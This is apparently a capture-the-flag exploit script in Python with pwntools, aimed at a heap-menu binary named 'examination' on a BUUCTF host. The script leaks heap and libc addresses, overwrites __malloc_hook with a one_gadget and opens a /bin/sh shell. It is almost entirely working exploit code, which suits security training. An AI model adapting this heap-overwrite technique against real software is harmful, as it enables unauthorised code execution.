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| from pwn import *
import time, sys, base64
import ctypes
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
debug = 1
filename = 'examination'
if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',25323)
if debug == 3:
p = remote('127.0.0.1',12345)
elf = ELF('./libc.so.6')
libc = elf.libc
def cmd(index):
p.sendlineafter('choice>> ',str(index))
def add(num):
cmd(1)
p.sendlineafter('questions: ',str(num))
def score():
cmd(2)
def write_a_review_first(index,size,comment):
cmd(3)
p.sendlineafter('which one? > ',str(index))
p.sendlineafter('size of comment: ',str(size))
p.sendlineafter('enter your comment:',comment)
def write_a_review(index,comment):
cmd(3)
p.sendlineafter('which one? > ',str(index))
p.sendlineafter('enter your comment:',comment)
def parent(index):
cmd(4)
p.sendlineafter('choose?\n',str(index))
def student_check():
cmd(2)
def student_pray():
cmd(3)
def student_mode(mode,score=None):
cmd(4)
data = p.recvline()
if "100" in data:
p.sendline(score)
else:
p.sendline(mode)
def student_changeid(ID):
cmd(6)
p.sendlineafter('input your id: ',str(ID))
def studenttoTeacher():
cmd(5)
role(0)
def teachertoStudent():
cmd(5)
role(1)
def role(index):
p.sendlineafter('<0.teacher/1.student>: ',str(index))
role(0)
add(1)
teachertoStudent()
student_pray()
studenttoTeacher()
score()
write_a_review_first(0,0x10,'a'*0x10)
teachertoStudent()
student_check()
p.recvuntil('reward! ')
heap_base = int(p.recv(14),16) - 0x2a0
log.success('addr: ' + hex(heap_base))
p.sendlineafter('add 1 to wherever you want! addr: ',str(((heap_base+0x2e1)*10)))
studenttoTeacher()
add(2)
write_a_review_first(1,0x80,'b'*0x10)
target_addr = heap_base + 0x10
payload = 'a'*0x10 + p64(0) + p64(0x31)
payload += p64(heap_base+0x340) + p64(0)*4 + p64(0x21)
payload += p64(2) + p64(target_addr)
payload += p64(0x100) + p64(0x91)
write_a_review(0,payload)
payload = '\xff'*0x20
write_a_review(1,payload)
payload = 'a'*0x10 + p64(0) + p64(0x31)
payload += p64(heap_base+0x340) + p64(0)*4 + p64(0x21)
payload += p64(2) + p64(heap_base+0x360)
payload += p64(0x100) + p64(0x91)
write_a_review(0,payload)
add(3)
parent(1)
add(2)
payload = 'b'*0x18 + p64(0x31) + p64(heap_base+0x340) + p64(0)*4
payload += p64(0x21) + p64(2) + p64(heap_base+0x2b8) + p64(0x110) + p64(0x91)
write_a_review(0,payload)
write_a_review(2,p64(0))
teachertoStudent()
student_changeid(2)
student_check()
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) + 0x66
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = libc_base + 0xe3b31
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
log.success('libc_base: ' + hex(malloc_hook))
studenttoTeacher()
payload = 'b'*0x18 + p64(0x31) + p64(heap_base+0x340) + p64(0)*4
payload += p64(0x21) + p64(2) + p64(malloc_hook) + p64(0x110) + p64(0x91)
write_a_review(0,payload)
write_a_review(2,p64(one))
cmd(6)
p.interactive()
|
